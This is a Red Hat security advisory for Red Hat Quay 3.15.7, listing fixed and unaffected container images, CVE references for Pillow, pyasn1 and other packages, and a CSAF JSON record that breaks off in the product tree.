Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64	—	Workaround

Threats

Impact Important

CVE-2026-59886

A remote attacker can exploit this by providing specially crafted BER/CER/DER-encoded ASN.1 data with a large exponent in the REAL value. When the application subsequently prints, logs, compares, or performs arithmetic on the decoded value, this can cause excessive CPU and memory consumption, leading to a denial of service (DoS).

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-770 - Allocation of Resources Without Limits or Throttling

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x	—	Vendor Fix fix Workaround

Known not affected 19 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64	—	Workaround

Threats

Impact Important

References

103 references

URL	Category
https://access.redhat.com/errata/RHSA-2026:48933	self
https://access.redhat.com/security/cve/CVE-2026-13149	external
https://access.redhat.com/security/cve/CVE-2026-45822	external
https://access.redhat.com/security/cve/CVE-2026-54058	external
https://access.redhat.com/security/cve/CVE-2026-54060	external
https://access.redhat.com/security/cve/CVE-2026-55379	external
https://access.redhat.com/security/cve/CVE-2026-55380	external
https://access.redhat.com/security/cve/CVE-2026-59197	external
https://access.redhat.com/security/cve/CVE-2026-59199	external
https://access.redhat.com/security/cve/CVE-2026-59200	external
https://access.redhat.com/security/cve/CVE-2026-59204	external
https://access.redhat.com/security/cve/CVE-2026-59205	external
https://access.redhat.com/security/cve/CVE-2026-59885	external
https://access.redhat.com/security/cve/CVE-2026-59886	external
https://access.redhat.com/security/updates/classi…	external
https://security.access.redhat.com/data/csaf/v2/a…	self
https://access.redhat.com/security/cve/CVE-2026-13149	self
https://bugzilla.redhat.com/show_bug.cgi?id=2494813	external
https://www.cve.org/CVERecord?id=CVE-2026-13149	external
https://nvd.nist.gov/vuln/detail/CVE-2026-13149	external
https://github.com/juliangruber/brace-expansion/c…	external
https://www.npmjs.com/package/brace-expansion	external
https://access.redhat.com/security/cve/CVE-2026-45822	self
https://bugzilla.redhat.com/show_bug.cgi?id=2494807	external
https://www.cve.org/CVERecord?id=CVE-2026-45822	external
https://nvd.nist.gov/vuln/detail/CVE-2026-45822	external
https://github.com/SamVerschueren/decode-uri-comp…	external
https://github.com/SamVerschueren/decode-uri-comp…	external
https://www.npmjs.com/package/decode-uri-component	external
https://access.redhat.com/security/cve/CVE-2026-54058	self
https://bugzilla.redhat.com/show_bug.cgi?id=2500057	external
https://www.cve.org/CVERecord?id=CVE-2026-54058	external
https://nvd.nist.gov/vuln/detail/CVE-2026-54058	external
https://github.com/python-pillow/Pillow/commit/6a…	external
https://github.com/python-pillow/Pillow/pull/9719	external
https://github.com/python-pillow/Pillow/releases/…	external
https://github.com/python-pillow/Pillow/security/…	external
https://access.redhat.com/security/cve/CVE-2026-54060	self
https://bugzilla.redhat.com/show_bug.cgi?id=2497466	external
https://www.cve.org/CVERecord?id=CVE-2026-54060	external
https://nvd.nist.gov/vuln/detail/CVE-2026-54060	external
https://github.com/python-pillow/Pillow/blob/main…	external
https://github.com/python-pillow/Pillow/commit/0a…	external
https://github.com/python-pillow/Pillow/security/…	external
https://access.redhat.com/security/cve/CVE-2026-55379	self
https://bugzilla.redhat.com/show_bug.cgi?id=2497452	external
https://www.cve.org/CVERecord?id=CVE-2026-55379	external
https://nvd.nist.gov/vuln/detail/CVE-2026-55379	external
https://github.com/python-pillow/Pillow/security/…	external
https://access.redhat.com/security/cve/CVE-2026-55380	self
https://bugzilla.redhat.com/show_bug.cgi?id=2497455	external
https://www.cve.org/CVERecord?id=CVE-2026-55380	external
https://nvd.nist.gov/vuln/detail/CVE-2026-55380	external
https://github.com/python-pillow/Pillow/commit/f3…	external
https://github.com/python-pillow/Pillow/security/…	external
https://access.redhat.com/security/cve/CVE-2026-59197	self
https://bugzilla.redhat.com/show_bug.cgi?id=2500043	external
https://www.cve.org/CVERecord?id=CVE-2026-59197	external
https://nvd.nist.gov/vuln/detail/CVE-2026-59197	external
https://github.com/python-pillow/Pillow/commit/cc…	external
https://github.com/python-pillow/Pillow/pull/9695	external
https://github.com/python-pillow/Pillow/security/…	external
https://access.redhat.com/security/cve/CVE-2026-59199	self
https://bugzilla.redhat.com/show_bug.cgi?id=2500061	external
https://www.cve.org/CVERecord?id=CVE-2026-59199	external
https://nvd.nist.gov/vuln/detail/CVE-2026-59199	external
https://github.com/python-pillow/Pillow/commit/ce…	external
https://github.com/python-pillow/Pillow/pull/9703	external
https://github.com/python-pillow/Pillow/security/…	external
https://access.redhat.com/security/cve/CVE-2026-59200	self
https://bugzilla.redhat.com/show_bug.cgi?id=2500060	external
https://www.cve.org/CVERecord?id=CVE-2026-59200	external
https://nvd.nist.gov/vuln/detail/CVE-2026-59200	external
https://github.com/python-pillow/Pillow/commit/f7…	external
https://github.com/python-pillow/Pillow/pull/9718	external
https://github.com/python-pillow/Pillow/security/…	external
https://access.redhat.com/security/cve/CVE-2026-59204	self
https://bugzilla.redhat.com/show_bug.cgi?id=2500022	external
https://www.cve.org/CVERecord?id=CVE-2026-59204	external
https://nvd.nist.gov/vuln/detail/CVE-2026-59204	external
https://github.com/python-pillow/Pillow/commit/13…	external
https://github.com/python-pillow/Pillow/pull/9704	external
https://github.com/python-pillow/Pillow/security/…	external
https://access.redhat.com/security/cve/CVE-2026-59205	self
https://bugzilla.redhat.com/show_bug.cgi?id=2500052	external
https://www.cve.org/CVERecord?id=CVE-2026-59205	external
https://nvd.nist.gov/vuln/detail/CVE-2026-59205	external
https://github.com/python-pillow/Pillow/commit/a9…	external
https://github.com/python-pillow/Pillow/pull/9715	external
https://github.com/python-pillow/Pillow/security/…	external
https://access.redhat.com/security/cve/CVE-2026-59885	self
https://bugzilla.redhat.com/show_bug.cgi?id=2500380	external
https://www.cve.org/CVERecord?id=CVE-2026-59885	external
https://nvd.nist.gov/vuln/detail/CVE-2026-59885	external
https://github.com/pyasn1/pyasn1/commit/45bdb19eb…	external
https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4	external
https://github.com/pyasn1/pyasn1/security/advisor…	external
https://access.redhat.com/security/cve/CVE-2026-59886	self
https://bugzilla.redhat.com/show_bug.cgi?id=2500041	external
https://www.cve.org/CVERecord?id=CVE-2026-59886	external
https://nvd.nist.gov/vuln/detail/CVE-2026-59886	external
https://github.com/pyasn1/pyasn1/commit/e60c691cb…	external
https://github.com/pyasn1/pyasn1/security/advisor…	external

JSON

To clipboard

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://access.redhat.com/security/updates/classification/",
      "text": "Important"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "Red Hat Quay 3.15.7 is now available with bug fixes.",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "Quay 3.15.7",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://access.redhat.com/security/team/contact/",
      "issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
      "name": "Red Hat Product Security",
      "namespace": "https://www.redhat.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "https://access.redhat.com/errata/RHSA-2026:48933",
        "url": "https://access.redhat.com/errata/RHSA-2026:48933"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-13149",
        "url": "https://access.redhat.com/security/cve/CVE-2026-13149"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-45822",
        "url": "https://access.redhat.com/security/cve/CVE-2026-45822"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-54058",
        "url": "https://access.redhat.com/security/cve/CVE-2026-54058"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-54060",
        "url": "https://access.redhat.com/security/cve/CVE-2026-54060"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-55379",
        "url": "https://access.redhat.com/security/cve/CVE-2026-55379"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-55380",
        "url": "https://access.redhat.com/security/cve/CVE-2026-55380"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-59197",
        "url": "https://access.redhat.com/security/cve/CVE-2026-59197"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-59199",
        "url": "https://access.redhat.com/security/cve/CVE-2026-59199"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-59200",
        "url": "https://access.redhat.com/security/cve/CVE-2026-59200"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-59204",
        "url": "https://access.redhat.com/security/cve/CVE-2026-59204"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-59205",
        "url": "https://access.redhat.com/security/cve/CVE-2026-59205"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-59885",
        "url": "https://access.redhat.com/security/cve/CVE-2026-59885"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-59886",
        "url": "https://access.redhat.com/security/cve/CVE-2026-59886"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/updates/classification/",
        "url": "https://access.redhat.com/security/updates/classification/"
      },
      {
        "category": "self",
        "summary": "Canonical URL",
        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_48933.json"
      }
    ],
    "title": "Red Hat Security Advisory: Red Hat Quay 3.15.7",
    "tracking": {
      "current_release_date": "2026-08-04T19:57:35+00:00",
      "generator": {
        "date": "2026-08-04T19:57:35+00:00",
        "engine": {
          "name": "Red Hat SDEngine",
          "version": "5.3.8"
        }
      },
      "id": "RHSA-2026:48933",
      "initial_release_date": "2026-07-30T20:01:08+00:00",
      "revision_history": [
        {
          "date": "2026-07-30T20:01:08+00:00",
          "number": "1",
          "summary": "Initial version"
        },
        {
          "date": "2026-08-01T08:08:43+00:00",
          "number": "2",
          "summary": "Last updated version"
        },
        {
          "date": "2026-08-04T19:57:35+00:00",
          "number": "3",
          "summary": "Last generated version"
        }
      ],
      "status": "final",
      "version": "3"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_name",
                "name": "Red Hat Quay 3.15",
                "product": {
                  "name": "Red Hat Quay 3.15",
                  "product_id": "Red Hat Quay 3.15",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:redhat:quay:3.15::el8"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "Red Hat Quay"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
                "product": {
                  "name": "registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
                  "product_id": "registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-container-security-operator-bundle@sha256%3A7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a?arch=amd64\u0026repository_url=registry.redhat.io/quay/quay-container-security-operator-bundle\u0026tag=1785177654"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
                "product": {
                  "name": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
                  "product_id": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-container-security-operator-rhel8@sha256%3A9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3?arch=amd64\u0026repository_url=registry.redhat.io/quay/quay-container-security-operator-rhel8\u0026tag=1785176954"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
                "product": {
                  "name": "registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
                  "product_id": "registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-bridge-operator-bundle@sha256%3A33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd?arch=amd64\u0026repository_url=registry.redhat.io/quay/quay-bridge-operator-bundle\u0026tag=1785274696"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
                "product": {
                  "name": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
                  "product_id": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-bridge-operator-rhel8@sha256%3Aa909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f?arch=amd64\u0026repository_url=registry.redhat.io/quay/quay-bridge-operator-rhel8\u0026tag=1785177338"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
                "product": {
                  "name": "registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
                  "product_id": "registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-builder-qemu-rhcos-rhel8@sha256%3A2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b?arch=amd64\u0026repository_url=registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8\u0026tag=1785178509"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
                "product": {
                  "name": "registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
                  "product_id": "registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-builder-rhel8@sha256%3A4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab?arch=amd64\u0026repository_url=registry.redhat.io/quay/quay-builder-rhel8\u0026tag=1785180550"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
                "product": {
                  "name": "registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
                  "product_id": "registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/clair-rhel8@sha256%3Af62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4?arch=amd64\u0026repository_url=registry.redhat.io/quay/clair-rhel8\u0026tag=1785177181"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
                "product": {
                  "name": "registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
                  "product_id": "registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-operator-bundle@sha256%3Ac9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49?arch=amd64\u0026repository_url=registry.redhat.io/quay/quay-operator-bundle\u0026tag=1785322285"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
                "product": {
                  "name": "registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
                  "product_id": "registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-operator-rhel8@sha256%3Ae07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50?arch=amd64\u0026repository_url=registry.redhat.io/quay/quay-operator-rhel8\u0026tag=1785177009"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
                "product": {
                  "name": "registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
                  "product_id": "registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-rhel8@sha256%3A3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5?arch=amd64\u0026repository_url=registry.redhat.io/quay/quay-rhel8\u0026tag=1785261506"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "amd64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
                "product": {
                  "name": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
                  "product_id": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-container-security-operator-rhel8@sha256%3A1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2?arch=ppc64le\u0026repository_url=registry.redhat.io/quay/quay-container-security-operator-rhel8\u0026tag=1785176954"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
                "product": {
                  "name": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
                  "product_id": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-bridge-operator-rhel8@sha256%3A035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f?arch=ppc64le\u0026repository_url=registry.redhat.io/quay/quay-bridge-operator-rhel8\u0026tag=1785177338"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
                "product": {
                  "name": "registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
                  "product_id": "registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-builder-rhel8@sha256%3A7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd?arch=ppc64le\u0026repository_url=registry.redhat.io/quay/quay-builder-rhel8\u0026tag=1785180550"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
                "product": {
                  "name": "registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
                  "product_id": "registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/clair-rhel8@sha256%3A8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b?arch=ppc64le\u0026repository_url=registry.redhat.io/quay/clair-rhel8\u0026tag=1785177181"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
                "product": {
                  "name": "registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
                  "product_id": "registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-operator-rhel8@sha256%3A3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80?arch=ppc64le\u0026repository_url=registry.redhat.io/quay/quay-operator-rhel8\u0026tag=1785177009"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
                "product": {
                  "name": "registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
                  "product_id": "registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-rhel8@sha256%3A840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e?arch=ppc64le\u0026repository_url=registry.redhat.io/quay/quay-rhel8\u0026tag=1785261506"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "ppc64le"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
                "product": {
